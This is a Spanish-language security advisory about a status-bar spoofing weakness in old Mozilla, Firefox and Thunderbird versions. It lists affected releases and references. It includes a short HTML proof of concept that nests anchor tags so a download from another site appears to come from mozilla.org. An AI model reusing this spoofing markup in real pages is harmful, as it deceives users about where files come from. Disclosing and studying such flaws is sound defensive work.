Spoofing de URI en Mozilla, Firefox y Thunderbird

RI (Uniform Resource Identifier o Identificador Universal de Recursos), es la secuencia de caracteres que identifica cualquier recurso (servicio, página, documento, dirección de correo electrónico, etc.) accesible en una red. Consta de dos partes, el identificador del método de acceso o protocolo (http:, ftp:, mailto:, etc.), y el nombre del recurso (//dominio, usuario @ dominio, etc.). Un URL (Uniform Resource Locators), es un URI que muestra la localización explícita de un recurso (página, imagen, etc.), según publica VSantivirus.

Este problema puede ser aprovechado por un atacante para mostrar información falsa en la barra de estado. Un usuario confiado, puede ser engañado al descargar archivos cuyo origen podría parecer un sitio de confianza, cuando se trata de código o enlaces maliciosos a sitios dudosos. Esto puede facilitar ataques basados en una falsa sensación de confianza.

Se ha publicado el siguiente código como prueba de concepto:

<h1>Firefox 1.01 : spoofing status bar without using JavaScript</h1>
<p>Save the New Features about Firefox 1.02 ( PDF 20K )</p>
<p>Right Click and Save Link as ...<p>
<div>
<a href="http://www.mozilla.org/features_ff102.pdf">
<table><tr><td>
<a href="http://www.tpc.org/tpch/spec/tpch2.1.0.pdf">
download : http://www.mozilla.org/features_ff102.pdf
</a><!-- first -->
</td></tr></table>
</a><!-- second -->
</div>

En el ejemplo, si el usuario acepta la sugerencia de grabar el enlace con el botón derecho, se descargaría un archivo del sitio "www.tpc.org" mientras la víctima creería estar haciéndolo de "www.mozilla.org".


Software vulnerable:

- Mozilla Browser 1.7
- Mozilla Browser 1.7.1
- Mozilla Browser 1.7.2
- Mozilla Browser 1.7.3
- Mozilla Browser 1.7.4
- Mozilla Browser 1.7.5
- Mozilla Browser 1.7.6
- Mozilla Firefox Preview Release
- Mozilla Firefox 0.8
- Mozilla Firefox 0.9 rc
- Mozilla Firefox 0.9
- Mozilla Firefox 0.9.1
- Mozilla Firefox 0.9.2
- Mozilla Firefox 0.9.3
- Mozilla Firefox 0.10
- Mozilla Firefox 0.10.1
- Mozilla Firefox 1.0
- Mozilla Firefox 1.0.1
- Mozilla Thunderbird 0.6
- Mozilla Thunderbird 0.7
- Mozilla Thunderbird 0.7.1
- Mozilla Thunderbird 0.7.2
- Mozilla Thunderbird 0.7.3
- Mozilla Thunderbird 0.8
- Mozilla Thunderbird 0.9
- Mozilla Thunderbird 1.0
- Mozilla Thunderbird 1.0.1


Soluciones:

No se conocen soluciones por el momento.


Referencias:

Identificado en BugTraq como ID 12798

Mozilla Suite/Firefox/Thunderbird Nested Anchor Tag Status Bar Spoofing Weakness
http://www.securityfocus.com/bid/12798/

Mozilla Firefox Home Page (Mozilla)
http://www.mozilla.org/products/firefox/

Mozilla Homepage (Mozilla)
http://www.mozilla.org/

Thunderbird Home Page (Mozilla)
http://www.mozilla.org/products/thunderbird/